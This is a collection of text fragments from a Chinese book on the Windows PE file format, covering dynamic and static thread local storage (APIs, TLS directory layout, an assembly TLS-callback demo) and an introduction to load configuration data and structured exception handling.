PVOID WinSockData ;//F6Ch ULONG GdiBatchCount ;//F70h ULONG Spare2 ;//F74h ULONG Spare3 ;//F78h ULONG Spare4 ;//F7Ch PVOID ReservedForOle ;//F80h ULONG WaitingOnLoaderLock ;//F84h PVOID StackCommit ;//F88h PVOID StackCommitMax ;//F8Ch PVOID StackReserve ;//F90h PVOID MessageQueue ;//?? ? }NT_TEB,*PNT_TEB ; 偏移+0E10h处的字段TlsSlots[]是个无类型的指针数组（在后面还会介绍到，这个指针数组称为TLS存储槽），其大小为40h字节。也就是说，一个线程同时存在的动态TLS不能超过64项。如果某一项动态TLS数据的大小不超过4个字节（PVOID数据类型占用4个字节），那么直接就可以存储在这个数组中，作为这个数组的一个元素。如果是存储大于4个字节的数据，由于单个存储槽中无法存放大于4个字节的数据，那就必须为之动态分配存储缓冲区，而把动态申请获取到的缓冲区的地址存储在这个数组中。通过这样的方式就可以大大扩充动态TLS的容量了。 字段ThreadLocalStoragePointer用于静态TLS，操作系统会根据静态TLS目录把所有.tls段的原始副本收集汇总，并复制到所分配的缓冲区中。这样，就为一个线程构建了一个合并后的静态TLS副本，字段ThreadLocalStoragePointer即指向该副本的起始位置。"},
    {"text": "9.2 什么是线程局部存储 9.2 什么是线程局部存储 线程局部存储（Thread Local Storage，TLS）很好地解决了多线程程序设计中变量的同步问题。要想真正理解TLS，必须从多线程程序设计特点来看。 例如，编写一个从网络上下载文件的程序，既可以将其设置为单线程，也可以设计为多线程同时下载。尽管每个线程下载的内容不同，但每个线程下载代码逻辑是相同的，这就是多线程程序设计的普遍特点。现在假设有100个下载线程同时存在，那么，是否要为这100个线程中的每个都定义一套相同的数据结构呢？答案当然是可以的，但这样的程序设计不够优雅。反之，如果在程序设计时只定义一套数据结构，这100个线程同时使用这一套数据结构，却在运行期拥有不同的值（这种机制的实现通常会交给操作系统来管理）。这就是多线程程序设计所需要的，也是一个优秀操作系统所必须具备的特性之一。 程序员通过使用TLS机制，可以实现让程序拥有全局变量，但在不同的线程里却对应有不同的值。也就是说，进程中的所有线程都可以拥有全局变量，但这些变量其实是特定对某个线程才有意义的。 下载线程具有对文件写入的功能，写入时每个线程必须知道写入文件的偏移及字节数。这两个变量对不同的线程其值是不一样的。在这种情况下，把每一个线程所使用的文件偏移和字节数储存在TLS中，将会变得十分方便。当线程需要写文件时，它会从TLS中获取到本线程要写入文件的偏移和字节数。 TLS机制最重要的地方在于：用来向目标文件写入内容的代码在所有线程中都是一样的，而从TLS中取出的文件偏移和字节数却各不相同。 非常灵巧，不是吗？既有全局变量定义一样的便利，又有不同线程的分工。 实现TLS比较常见的办法是在进程中建立一个全局表，通过线程的ID去查询相应的数据结构，因为每个线程的ID是不一样的，所以查到的数据也自然就不一样了。为了帮助读者理解上面一段话，笔者写了一个模拟下载写入的代码： dwFileOff dd ? ;全局变量 dwWriteSize dd ? ;------------------- ;主程序中创建的所有线程 ;均采用此代码流程 ;-------------------- _thread1_100 proc pushad invoke calcDownloadPara ;设置要写入的文件偏移和大小 invoke DWToFile,hFile,dwFileOff,dwWriteSize ;下载并写入文件 popad ret _thread1_100 endp ;------------------------------- ;主程序调用部分 ;-------------------------------- Start: Mov ecx,1000 .while TRUE invoke CreateThread,NULL,offset _thread1_100,NULL,NULL,addr dwTID Dec ecx .break.if ecx == 0 .endw end Start 以上只是简单模拟了多线程可能的设计，注意，这里没有用到TLS技术。如果将这个程序用到实际的环境中，下载会出现数据同步问题。主程序通过循环建立的1000个线程访问到了同一全局变量：文件偏移和写入字节。这是不符合多线程设计要求的。试想一下，当某个线程调用函数calcDownloadPara设置该线程要写入文件的偏移和大小（这两个变量是全局变量）刚完成时，另外一个线程正在调用函数DWToFile准备下载写入，那么另外那个线程曾经执行过的影响了两个全局变量值的calcDownloadPara函数调用就是失效的。 要想让线程同步，开发者必须在以上代码中加入很多附加代码对变量实施约束（如使用代码免重入机制，使用变量锁等），这样才能保证程序设计足够合理。如果将上述代码中用到的全局变量设置为由TLS存储，一切问题迎刃而解。程序员最受益的地方是不需要加入任何同步代码，即可满足程序功能设计的要求，所有同步操作由操作系统在内部自行完成，这就是TLS技术。 TLS技术分为两种： 动态线程局部存储技术 静态线程局部存储技术 TLS技术的分类主要依据是：线程局部存储的数据所用空间在程序运行期，操作系统完成的是动态申请还是静态分配。动态线程局部存储通过四个Win32 API函数实现对线程局部数据的存储；而静态线程局部存储则通过预先在PE文件中声明数据存储空间，由PE加载器加载该PE进入内存后为其预留存储空间实现。下面分别来介绍这两种技术。"},
    {"text": "你清楚自己设计的进程里有总共有多少个线程，每个线程都使用了哪些数据结构，内存空间的申请、释放都在你的掌控之下，全局变量的访问全部采用了同步技术，那是没有问题的。"},
    {"text": "如果你是一个DLL的开发者，你无法确定调用这个DLL的宿主程序里到底都多少个线程，每个线程的数据是如何定义的，这时，是你使用动态线程局部存储技术的最佳时机。"},
    {"text": "代码清单9-1 使用了TLS的线程运行时间统计程序（chapter9\\dtls.asm） 1 ;------------------------ 2 ;动态TLS演示 3 ;戚利 4 ;2010.2.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 MAX_THREAD_COUNT equ 4 17 18 ;数据段 19 .data 20 hTlsIndex dd ? 21 dwThreadID dd ? 22 hThreadID dd MAX_THREAD_COUNT dup(0) 23 24 dwCount dd ? 25 26 szBuffer db 500 dup(0) 27 szOut1 db '线程%d终止，用时：%d毫秒。"},
    {"text": "',0 30 31 32 33 ;代码段 34 .code 35 36 ;---------- 37 ;初始化 38 ;---------- 39 _initTime proc 40 local @dwStart 41 42 pushad 43 44 ;获得当前时间 45 ;将线程的创建时间与线程对象相关联 46 invoke GetTickCount 47 mov @dwStart,eax 48 invoke TlsSetValue,hTlsIndex,@dwStart 49 .if eax == 0 50 invoke MessageBox,NULL,addr szErr2,\\ 51 NULL,MB_OK 52 .endif 53 popad 54 ret 55 _initTime endp 56 57 ;---------- 58 ;获取用时 59 ;---------- 60 _getLostTime proc 61 local @dwTemp 62 pushad 63 64 ;获得当前时间 65 ;返回当前时间和线程创建时间的差值 66 invoke GetTickCount 67 mov @dwTemp,eax 68 invoke TlsGetValue,hTlsIndex 69 .if eax == 0 70 invoke MessageBox,NULL,addr szErr2,\\ 71 NULL,MB_OK 72 .endif 73 sub @dwTemp,eax 74 popad 75 mov eax,@dwTemp 76 ret 77 _getLostTime endp 78 79 80 ;---------- 81 ;线程函数 82 ;---------- 83 _tFun proc uses ebx ecx edx esi edi,lParam 84 local @dwCount 85 local @tID 86 pushad 87 88 invoke _initTime 89 90 ;模拟耗时操作 91 mov @dwCount,1000*10000 92 mov ecx,@dwCount 93 .while ecx＞0 94 dec @dwCount 95 dec ecx 96 .endw 97 98 invoke GetCurrentThreadId 99 mov @tID,eax 100 invoke _getLostTime 101 invoke wsprintf,addr szBuffer,\\ 102 addr szOut1,@tID,eax 103 invoke MessageBox,NULL,addr szBuffer,\\ 104 NULL,MB_OK 105 106 popad 107 ret 108 _tFun endp 109 110 111 start: 112 ;通过在进程位数组中申请一个索引 113 ;初始化线程运行时间记录系统 114 invoke TlsAlloc 115 mov hTlsIndex,eax 116 117 mov dwCount,MAX_THREAD_COUNT 118 mov edi,offset hThreadID 119 .while dwCount＞0 120 invoke CreateThread,NULL,0,\\ 121 offset _tFun,NULL,\\ 122 NULL,addr dwThreadID 123 mov dword ptr [edi],eax 124 add edi,4 125 126 dec dwCount 127 .endw 128 129 ;等待结束线程 130 mov dwCount,MAX_THREAD_COUNT 131 mov edi,offset hThreadID 132 .while dwCount＞0 133 mov eax,dword ptr [edi] 134 mov dwThreadID,eax 135 push edi 136 invoke WaitForSingleObject,eax,\\ 137 INFINITE 138 invoke CloseHandle,dwThreadID 139 pop edi 140 141 add edi,4 142 dec dwCount 143 .endw 144 145 ;通过释放线程局部存储索引 146 ;释放时间记录系统占用的资源 147 invoke TlsFree,hTlsIndex 148 149 end start 主程序首先调用函数TlsAlloc向进程申请一个索引，以便为每个线程预留保存全局变量hTlsIndex不同值的空间。"},
    {"text": "每个线程执行相同的步骤： 步骤1 执行函数_initTime，初始化每个线程各自存储在TLS存储槽里的全局变量hTlsIndex对应的不同值的存储区域（该存储区域由操作系统维护）。"},
    {"text": "步骤3 调用函数_getLostTime得到每个线程从开始执行到结束的时间。 方法是首先通过函数GetTickCount获得当前时间，然后将TLS存储槽中存储的上一次时间通过函数TlsGetValue取出（注意不能直接使用全局变量），然后将当前时间与取出的时间相减即可得到线程运行时间。"},
    {"text": "注意 线程存储的时间值使用了TLS槽，而不是通常看到的线程内的局部变量。 线程的TLS槽起的作用和线程的局部变量一样，但两者有根本的区别。"},
    {"text": "代码清单9-2 没有使用TLS的线程运行时间统计程序（chapter9\\dtls1.asm） 1 ;------------------------ 2 ;动态TLS对比演示 3 ;不使用TLS的多线程应用程序 4 ;戚利 5 ;2010.2.28 6 ;------------------------ 7 .386 8 .model flat,stdcall 9 option casemap:none 10 11 include windows.inc 12 include user32.inc 13 includelib user32.lib 14 include kernel32.inc 15 includelib kernel32.lib 16 17 MAX_THREAD_COUNT equ 4 18 19 ;数据段 20 .data 21 hTlsIndex dd ? 22 dwThreadID dd ? 23 hThreadID dd MAX_THREAD_COUNT dup(0) 24 25 dwCount dd ? 26 27 szBuffer db 500 dup(0) 28 szOut1 db '线程%d终止，用时：%d毫秒。 ',0 29 30 ;代码段 31 .code 32 33 ;---------- 34 ;线程函数 35 ;---------- 36 _tFun proc uses ebx ecx edx esi edi,lParam 37 local @dwCount 38 local @dwStart 39 local @dwEnd 40 local @tID 41 pushad 42 43 ;获得当前时间 44 ;将线程的创建时间与线程对象相关联 45 invoke GetTickCount 46 mov @dwStart,eax 47 48 ;模拟耗时操作 49 mov @dwCount,1000*10000 50 mov ecx,@dwCount 51 .while ecx＞0 52 dec @dwCount 53 dec ecx 54 .endw 55 56 invoke GetCurrentThreadId 57 mov @tID,eax 58 59 invoke GetTickCount 60 mov @dwEnd,eax 61 mov eax,@dwStart 62 sub @dwEnd,eax 63 invoke wsprintf,addr szBuffer,\\ 64 addr szOut1,@tID,@dwEnd 65 invoke MessageBox,NULL,addr szBuffer,\\ 66 NULL,MB_OK 67 68 popad 69 ret 70 _tFun endp 71 72 73 start: 74 75 mov dwCount,MAX_THREAD_COUNT 76 mov edi,offset hThreadID 77 .while dwCount＞0 78 invoke CreateThread,NULL,0,\\ 79 offset _tFun,NULL,\\ 80 NULL,addr dwThreadID 81 mov dword ptr [edi],eax 82 add edi,4 83 84 dec dwCount 85 .endw 86 87 ;等待结束线程 88 mov dwCount,MAX_THREAD_COUNT 89 mov edi,offset hThreadID 90 .while dwCount＞0 91 mov eax,dword ptr [edi] 92 mov dwThreadID,eax 93 push edi 94 invoke WaitForSingleObject,dwThreadID,\\ 95 INFINITE 96 invoke CloseHandle,dwThreadID 97 pop edi 98 99 add edi,4 100 dec dwCount 101 .endw 102 103 end start 在没有TLS机制的多线程程序设计中，与每个线程有关的具有相同意义但不同值的变量必须被设置为局部变量（加黑部分）。"},
    {"text": "图 9-2 线程本地存储机制 如图9-2所示，在一个进程内部，存储着一个进程标志位，默认情况下它是一个双字（位于PEB的TlsBitmapBits字段中），共64个位（bit）。"},
    {"text": "数组的索引号对应着进程标志位双字的位索引，如图中所标识的进程的第3位对应每个线程的第3个双字（下标都从0开始）。 这就意味着，找到进程标志位的索引，也就找到每个线程的数组中相同索引的双字了，这个查找过程可以通过动态TLS的系列函数TlsXXX来完成。"},
    {"text": "所有的线程中，该位置都是一个双字，由于存储在不同的内存中，每个线程对应的该位置的值可以不相同。 这个双字可以是一个值，也可以是一个指针，该指针还可以指向一个内存中的数据结构。"},
    {"text": "并且这个值对于所有的线程都是相同的，操作这个索引就代表操作了所有线程的相同的索引。 操作这个索引就代表操作了所有线程的相同的索引。"},
    {"text": "注意 这个值对每个线程来说可能是不一样的。 比如，例子中尽管每个线程都执行了相同的操作GetTickCount()，但由于每个线程执行该函数的时间不相同，所获取的值也不同。"},
    {"text": "于是，所有的线程都那么做了，值被存储到了每个线程自己空间的相同索引处。 TlsGetValue 进程说，把指定索引处的值都取出来吧，于是所有的线程都这么做了。"},
    {"text": "9.3.2 获取索引TlsAlloc 9.3.2 获取索引TlsAlloc 函数功能：分配一个线程局部存储（TLS）索引。该进程的任何线程都可以使用该索引来存储和检取线程中的值。 函数原型： DWORD TlsAlloc( void ) 参数：无。 返回值：若函数成功，则返回值为一个TLS索引。失败则返回TLS_OUT_OF_INDEX，其十六进制值为0FFFFFFFFh。 尽管在示例中只用了一个索引，但需要说明的是，微软保证每个进程最少有64个（常量符号为TLS_MINIMUM_AVAILABLE）索引可供使用；如果程序需要，系统还会为线程提供更多的索引。一旦索引获取成功，该索引对应的进程标志位即被设置为1，表示已被使用。同时，每个线程的该索引对应的双字值也被声明为占用。 如果索引越过进程边界，该索引即视为无效。一个DLL不能假定在一个进程中分配的索引在另一个进程中依然有效。当一个DLL被附加到一个宿主进程时，它使用TlsAlloc分配一个TLS索引。然后，DLL会分配一些动态存储单元，并调用函数TlsSetValue向该索引对应的双字数组相应位置写入分配的动态存储单元地址。TLS索引存储在DLL的全局或静态变量中。 有了这个索引，我们就可以通过它来取得、设置数据。注意，这些数据只对当前线程可见。当函数得到一个可用的索引值后，还会遍历进程中的每个线程，并将对应的TLS存储槽全部清0。所以，函数返回以后，所有的操作就基本完成了。 9.3.3 按索引取值TlsGetValue 9.3.3 按索引取值TlsGetValue 函数功能：检取调用线程的TLS存储槽的值。对于每个TLS索引，进程中的每个线程都有它自己的槽。 函数原型： LPVOID TlsGetValue( DWORD dwTlsIndex//TLS索引 ) 参数：dwTlsIndex，由TlsAlloc分配的索引。 返回值：若函数成功，则返回调用线程的TLS存储槽中的值；失败则返回0。 注意 由于存放在TLS存储槽中值可以为0，在这种情况下，需要通过函数GetLastError的返回值来判断。如果为NO_ERROR，则表示取到了值，且值是0；否则表示函数调用失败。 9.3.4 按索引存储TlsSetValue 9.3.4 按索引存储TlsSetValue 函数功能：存储指定值倒调用线程的指定索引处。 函数原型： BOOL TlsSetValue( DWORD dwTlsIndex,//TLS索引 LPVOID lpTlsValue//要设置的值 ) 参数：dwTlsIndex，由TlsAlloc分配的索引。 LpTlsValue，存储指定值到线程的TLS存储槽。 返回值：若函数成功，则返回值不为0；失败则返回0。 为了达到提高运行速度的目的，TlsSetValue和TlsGetValue两个函数执行最小的参数验证和错误检查。所以，如果你没有通过函数TlsAlloc得到一个合法的索引值，自行指定的索引在以上两个函数中同样可用。 9.3.5 释放索引TlsFree 9.3.5 释放索引TlsFree 函数功能：释放调用线程局部存储（TLS）索引。 函数原型： BOOL TlsFree( DWORD dwTlsIndex//TLS索引 ) 参数：dwTlsIndex，由TlsAlloc分配的索引。 返回值：若函数成功，返回值不为0；失败则返回0。 当数据不再有用时，最好将索引释放。 特别提醒 函数TlsFree并不释放任何线程中与TLS相关联的动态存储单元。因为这些存储空间是由线程自己申请的，需要线程自行维护这些存储空间。 TlsFree函数会先检验你交给它的索引值是否的确被配置过。如果是，它将进程标志位对应的索引位设置为0，即声明未使用。然后，TlsFree遍历进程中的每一个线程，把0放到刚刚被释放的索引所对应的TLS存储槽上。 TLS存储槽实际对应于线程环境块中的TlsSlots字段。大家也可以不使用四个现有的API函数，自己通过程序代码对TEB结构的TlsSlots字段进行操作也能达到使用TLS的目的。"},
    {"text": "9.4 静态线程局部存储 9.4 静态线程局部存储 静态线程局部存储是操作系统提供的另外一种线程与数据绑定的技术。它与动态TLS的区别在于，通过静态线程局部存储指定的数据无需使用专门的API函数，所以在易用性上会更好一些。 静态线程局部存储预先将变量定义在PE文件内部，一般使用\".tls\"节存储，对相关API的调用由操作系统来完成。这种方式的优点就是从高级语言程序员的角度来看更简单了。这种实现方式使得TLS数据的定义与初始化就像程序中使用普通的静态变量那样。 在Visual C++中，对静态TLS变量的定义不需要像动态线程局部存储一样，调用相关的Windows API函数，只需要做如下声明即可： _declspec(thread)int tlsFlag=1 ; 为了支持这种编程模式，PE的\".tls\"节会包含以下信息： 初始化数据 用于每个线程初始化和终止的回调函数 TLS索引 注意 通过静态方式定义的TLS数据对象只能用于静态加载的映像文件。这使得在DLL中使用静态TLS数据并不可靠，除非你能确定这个DLL，以及静态链接到这个DLL的其他DLL永远不会被动态加载，如通过调用LoadLibrary这个API函数实施的动态加载那样。 可执行代码访问静态TLS数据一般需要经过以下几个步骤： 步骤1 在链接的时候，链接器设置TLS目录中的AddressOfIndex字段。这个字段指向一个位置，在这个位置保存程序用到的TLS索引。 微软运行时库为了处理方便定义了一个TLS目录的内存映像，并命名为\"_tls _used\"（该名称适应于Intel x86平台）。微软链接器查找这个内存映像，并直接使用其中的数据来创建PE中的TLS目录。 步骤2 当创建线程时，加载器通过将线程环境块（TEB）的地址放入FS寄存器来传递线程的TLS数组地址。距TEB开头0x2C的位置处的字段ThreadLocalStoragePointer指向TLS数组。这是特定于Intel x86平台的。 步骤3 加载器将TLS索引值保存到AddressOfIndex字段指向的位置处。 步骤4 可执行代码获取TLS索引以及TLS数组的位置。 步骤5 可执行代码将索引乘以4，并将该值作为这个数组内的偏移地址来使用。通过以上方法获取给定程序和模块的TLS数据区的地址。每个线程拥有它自己的TLS数据区，但这对于程序是透明的，它并不需要知道是怎样为单个线程分配数据的。 步骤6 单个的TLS数据对象都位于TLS数据区的某个固定偏移处，因此可以用这种方式访问。 说明 TLS数组即系统为每个线程维护的一个地址数组。这个数组中的每个地址即为前面提到的TLS存储槽，它指出了程序中给定模块的TLS数据区的位置；TLS索引指出了是这个数组的哪个元素。 下面我们来看PE文件中的静态TLS。 9.4.1 TLS定位 线程局部存储数据为数据目录中注册的数据类型之一，其描述信息处于数据目录的第10个目录项中。使用PEDump小工具获取chapter9\\tls1.exe的数据目录表内容如下： 加黑部分即为线程局部存储数据目录信息。通过以上字节码得到如下信息： 线程局部存储数据所在地址RVA=0x000003010 线程局部存储数据大小=00000018h 使用PEInfo小工具获取该文件所有节的相关信息，内容如下： 根据RVA与FOA的换算关系，可以得到： 线程局部存储数据所在文件的偏移地址为0x00000810。 9.4.2 TLS目录结构IMAGE_TLS_DIRECTORY32 9.4.2 TLS目录结构IMAGE_TLS_DIRECTORY32 线程局部存储数据以数据结构IMAGE_TLS_DIRECTORY32开始。该结构的详细定义如下： 以下是各字段的详细说明。 92.IMAGE_TLS_DIRECTORY32.StartAddressOfRawData +0000h，双字。表示TLS模板的起始地址。这个模板是一块数据，用于对TLS数据进行初始化。每当创建线程时，系统都要复制所有这些数据，因此这些数据一定不能出错。 注意 这个地址并不是一个RVA，而是一个VA。所以，在.reloc节中应当有一个相应的基址重定位信息是用来说明这个地址。 93.IMAGE_TLS_DIRECTORY32.EndAddressOfRawData +0004h，双字。表示TLS模板的结束地址。TLS的最后一个字节的地址，不包括用于填充的0。 94.IMAGE_TLS_DIRECTORY32.AddressOfIndex +0008h，双字。用于保存TLS索引的位置，索引的具体值由加载器确定。这个位置在普通的数据节中，因此，可以给它取一个容易理解的符号名，便于在程序中访问。 95.IMAGE_TLS_DIRECTORY32.AddressOfCallBacks +000Ch，双字。这是一个指针，它指向由TLS回调函数组成的数组。这个数组是以NULL结尾的，因此，如果没有回调函数的话，这个字段指向的位置处应该是4个字节的0。 96.IMAGE_TLS_DIRECTORY32.SizeOfZeroFill +0010h，双字。TLS模板中除了由StartAddressOfRawData和EndAddressOfRawData字段组成的已初始化数据界限之外的大小（以字节计）。TLS模板的大小应该与映像文件中TLS数据的大小一致。用0填充的数据就是已初始化的非零数据后面的那些数据。 97.IMAGE_TLS_DIRECTORY32.Characteristics +0014h，双字。保留未用。"},
    {"text": "9.4.3 静态TLS实例分析 9.4.3 静态TLS实例分析 接下来看一个实例。通过定位文件chapter9\\tls1.exe的线程局部存储数据得到如下字节码： 该实例中TLS模板的VA起止。指向文件偏移0x00000828到0x0000082c。此位置为4字节的0。 ＞＞30 30 40 00 索引的地址，指向文件偏移0x00000830，此处为一个双字的0。 ＞＞34 30 40 00 回调函数数组地址所在处。指向文件偏移0x00000834。该处取出的值为：0x00401008。 通过分析，该实例中并不包含TLS变量数据。 9.4.4 TLS回调函数 9.4.4 TLS回调函数 程序可以通过PE文件的方式提供一个或多个TLS回调函数，用以支持对TLS数据进行附加的初始化和终止操作，这种操作类似于面向对象程序设计中的构造函数和析构函数。尽管回调函数通常不超过一个，但还是将其作为一个数组来实现，以便在需要时可以另外添加更多回调函数。如果回调函数超过一个，它们将会按照其地址在数组中出现的顺序被依次调用，一个双字的空指针表示这个数组的结尾。如果程序没有提供回调函数，则该列表可以为空，这时，这个数组就只有一个元素，即双字的0。 回调函数的原型与DLL入口点函数参数相同： typedef VOID(NTAPI*PIMAGE_TLS_CALLBACK)( PVOID DllHandle, DWORD Reason, PVOID Reserved ); 参数解释： 1）Reserved：预留，为0。 2）Reason：调用该回调函数的时机。具体值见表9-1。 3）DllHandle：DLL的句柄。 9.4.5 测试静态TLS下的线程存储初始化回调函数 9.4.5 测试静态TLS下的线程存储初始化回调函数 接下来将编写一个程序，用来测试静态TLS下的线程存储初始化回调函数。通过使用TLS回调函数，开发者可以实现在主程序运行前运行一段自定义代码。详细见代码清单9-3。 代码清单9-3 静态TLS演示（chapter9\\tls.asm） 1 ;------------------------ 2 ;静态TLS演示 3 ;戚利 4 ;2011.2.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 .data 17 18 szText db 'HelloWorldPE',0,0,0,0 19 20 ;构造IMAGE_TLS_DIRECTORY 21 22 TLS_DIR dd offset Tls1 23 dd offset Tls2 24 dd offset Tls3 25 dd offset TlsCallBack 26 dd 0 27 dd 0 28 Tls1 dd 0 29 Tls2 dd 0 30 Tls3 dd 0 31 TlsCallBack dd offset TLS 32 dd 0 33 dd 0 34 35 .data ? 36 37 TLSCalled db ? ;重进标志 38 39 .code 40 41 start: 42 43 invoke ExitProcess,NULL 44 RET 45 46 ;以下代码将会在.code之前执行一次 47 TLS: 48 49 ;变量TLSCalled是一个防重进标志。正常情况下该部分代码 50 ;会被执行两次，但使用了该标识后，该代码只在开始运行前 51 ;执行一次 52 53 cmp byte ptr [TLSCalled],1 54 je @exit 55 mov byte ptr [TLSCalled],1 56 invoke MessageBox,NULL,addr szText,NULL,MB_OK 57 58 @exit: 59 60 RET 61 62 end start 按照程序的正常流程分析，tls.asm直接执行了ExitProcess函数退出。运行时也确实没有看到有任何的显示。接下来，我们对该程序的PE文件进行简单的修改。 复制tls.exe为tls1.exe，并修改以下加黑内容，将原来的00 00 00 00 00 00 00 00更改为：10 30 00 00 18 00 00 00。 运行tls1.exe后就会出现HelloWorldPE的对话框了。因为在代码20～23行通过数据结构构造了静态TLS数据。在数据结构中定义了TLS的回调函数，指向代码清单9-3中47～57行的代码。 9.5 小结 9.5 小结 本章主要从动态和静态两个方面全面分析了线程局部存储技术在PE中的使用。TLS是Win32引入的多线程中共享变量的优秀特质，用户可以直接通过系统提供的API函数动态管理这些变量，也可以通过PE文件头部预先静态声明这些变量，程序员可以在程序中透明地使用它们。TLS机制大大方便了多线程程序的设计。"},
    {"text": "第10章 加载配置信息 第10章 加载配置信息 加载配置信息最初只用在Windows NT操作系统中，作为文件头部的延伸部分，后来被用做异常处理。加载配置信息表中存放了基于结构化异常处理（Structured Exception Handling，SEH）技术的各种异常句柄。当程序运行发生异常后，操作系统会根据异常类别对异常进行分发处理，并依据这些句柄实施程序流程的转向，保证系统能从异常中全身而退。本章将详细介绍Windows操作系统结构化异常处理机制，以及PE中与之对应的相关数据结构。 10.1 何谓加载配置信息 PE中的加载配置信息存储在一个名为加载配置结构（Load Configuration Structure）的数据结构中。加载配置结构是PE中定义的一种基本数据类型，最初仅用于Windows NT操作系统，定义一些供Windows NT操作系统加载PE时用到的一些附加信息。这些信息之所以被单独定义，是因为这些信息太大，无法被标准PE文件头部和扩展文件头部的数据结构所容纳；有的则是因为信息类型太复杂，无法在标准PE文件头部和扩展头部中实现。 当前版本的微软编译器和Windows XP操作系统，以及后出的其他操作系统中，该部分的含义发生了变化。不再定义加载用的配置信息，而是被专门用来定义基于SEH技术的相关数据，所以笔者更愿意称这一部分为异常处理表。 如果PE中的该部分表中没有对应的异常类别处理函数句柄，操作系统将会调用其内核模式的异常分发函数终止应用程序的运行。这种安全设置主要是为了阻止因异常句柄导致的溢出被恶意程序利用，从而造成对系统的破坏。 通常情况下，链接器会提供一个默认的加载配置结构，该结构包含了预留的SEH数据。如果用户代码中提供了该结构，则必须由用户来完成设置新的预留SEH字段，否则链接器不会将SEH数据加入到加载配置信息中。 10.2 Windows结构化异常处理 10.2 Windows结构化异常处理 在DOS时代，中断被设计为整个操作系统的核心。所有的中断（如系统的按键引发的中断）最后以“int功能号”的形式调用。系统会依据中断向量表查找系统中定义的中断入口，并跳转到此处执行该中断的相关代码。 在Windows操作系统中，异常（Exception）和中断（Interrupt）提供了类似的功能；所不同的是，中断通常是由外部的条件引发，如按下了一个键；而异常则是代码或数据中的条件导致处理器生成的，异常与正在执行的指令有直接的联系。从宏观上讲，异常就是一种内部中断，因为当异常发生时，CPU会中断当前进程转到异常处理程序。这些处理程序的地址记录在一个被称为中断描述符表（IDT）的数据结构中，对应的处理程序存储在ntoskrnl.exe文件里。 10.2.1 什么是SEH 有时候，异常和中断这两个概念是混淆的。比如，当程序需要读取某段数据时，对应的数据却已经被换出内存了，这时候就会产生缺页异常。在程序运行期产生了异常；系统通常的做法都是先尽力挽救该异常，实在没有办法才结束运行的进程。当发生缺页异常后，程序的运行被暂时中断，系统会做补救操作，比如将缺页的内容重新换回内存，然后回到被中断运行的程序重新读取这段数据。大多数情况下，这种异常会经常发生，且被操作系统很好地处理，程序也可以顺利地运行下去。其他异常的处理方式基本与上述的描述是一致的。 出于各种无法预料的原因，在程序运行时会发生很多异常，这些异常有些是可以恢复的，有些是不可以恢复的，有些可能被运行的程序本身发现并处理。图10-1是Word模板文件被病毒感染后引发的异常。 图 10-1 Word模板文件感染病毒后的异常处理 也有可能程序本身不提供异常处理，由操作系统接管异常。被操作系统接管的异常比较多，异常发生后操作系统将弹出提示框，如图10-2所示。 图 10-2 操作系统接管异常处理的弹出窗口 还有一种异常，程序不提供接管程序，操作系统提供的接管程序也无法管理，这种异常就是意外（这些意外一般是不可恢复的异常）。如电脑的硬件故障导致整个系统崩溃，崩溃时系统一般会表现为蓝屏、死机，用户只能关闭计算机或检测硬件设备后重新启动系统。 在程序设计时，使用汇编语言的用户会通过类似如下的形式，在程序内部实现对异常的处理： Fun1 proc assume fs:nothing push offset _handler ;_handler为异常处理程序 push fs:[0] mov fs:[0],esp …… ;程序实现代码 pop fs:[0] pop eax ret Fun1 endp 使用C语言的用户可能会通过类似以下的形式，在程序内部实现对异常的处理： Fun1 { _SEH_TRY { ……//程序实现代码 } _SEH_HANDLE { Status=_SEH_GetExceptionCode() ;//异常处理 } _SEH_END ; if(!NT_SUCCESS(Status)) { return Status ; } } 使用Java语言的用户可能会使用如下的形式定义内部异常处理： public void Fun1{ Try{ ……//程序实现代码 }catch(Exception ex){ ……//异常处理 } } 为了方便开发者处理异常，在程序内部异常的处理是基于块的。程序中的任何一个函数都可以定义异常处理模块，程序代码实现和异常处理被不同的伪操作语句隔离开。 这种在操作系统和程序级别上采用的，基于一块一块的结构化的异常处理方式称为结构化异常处理（Structured Exception Handling，SEH）。"},
    {"text": "10.2.2 Windows异常分类 10.2.2 Windows异常分类 由于SEH使用了与硬件平台相关的数据指针，所以在不同的硬件平台上，SEH的实现方法是不同的。在x86平台上的SEH处理框架中，把异常分为两大类： 硬异常（系统异常） 软异常（程序自己抛出的异常） 1.硬异常 硬异常，即系统异常，可以细分为以下三类： （1）故障（Fault）异常 它是因执行指令失败而引起的，比如除以0引发的异常，以及eip指向了不可执行的页面等，这一类异常是系统异常中最常见的。此类异常有一个共同点，那就是发生异常时自动压入栈的是失败指令的地址，而不是它的下一条指令的地址（注意，这与call指令是不一样的）。这样做的原因是：当从异常遍历过程返回时，可以重新执行一遍这条指令。 （2）陷阱（Trap）异常 发生这类异常通常是因为执行了自陷指令，如使用指令\"INT 3\"而引发的异常。这一类异常的返回地址是自陷指令的下一条指令所在的地址。 （3）终止（Abort）异常 这类异常专指那些已经无法恢复的严重出错，如硬件故障引发的异常，或者系统表中出现了错误值引发的异常。 表10-1是Intel CPU层级上常用的中断/异常号及对应的说明。 Windows操作系统使用了自己定义的一套代码来表示各种异常。操作系统会把相应的CPU异常代码映射到一个或多个通用的Win32异常代码上。如CPU的13号异常可能会变成STATUS_ACCESS_VIOLATION（0xC0000005），也可能变成STATUS_PRIVILEGED_INSTRUCTION（0xC0000096）异常。到底该异常会被映射到哪个Win32异常上由底层的硬件异常来决定。 2.软异常 所谓软异常，就是以函数调用的手段来模拟一次异常，即通过Windows提供的API函数RaiseException，执行函数引发软异常。它的声明如下： VOID RaiseException( DWORD dwExceptionCode,//异常代码 DWORD dwExceptionFlags,//继续执行标志 DWORD nNumberOfArguments,//参数个数 CONST DWORD*lpArguments//指向参数缓冲区的指针 ); 实际上，在高级语言的异常处理模型中的大部分抛出异常的操作，最终都是对RaiseException函数的调用。"},
    {"text": "当进入内核模式的异常处理程序后，fs被赋予了另外的含义，代码如下： ;Save FS and set it to PCR push fs mov ebx,KGDT_R0_PCR ;KGDT_R0_PCR=0x30 mov fs,bx 在代码中，系统将用户模式下的原始fs值保存到栈，然后将fs指向了内核处理器控制域（Kernel Processor Control Region，KPCR）数据结构。"},
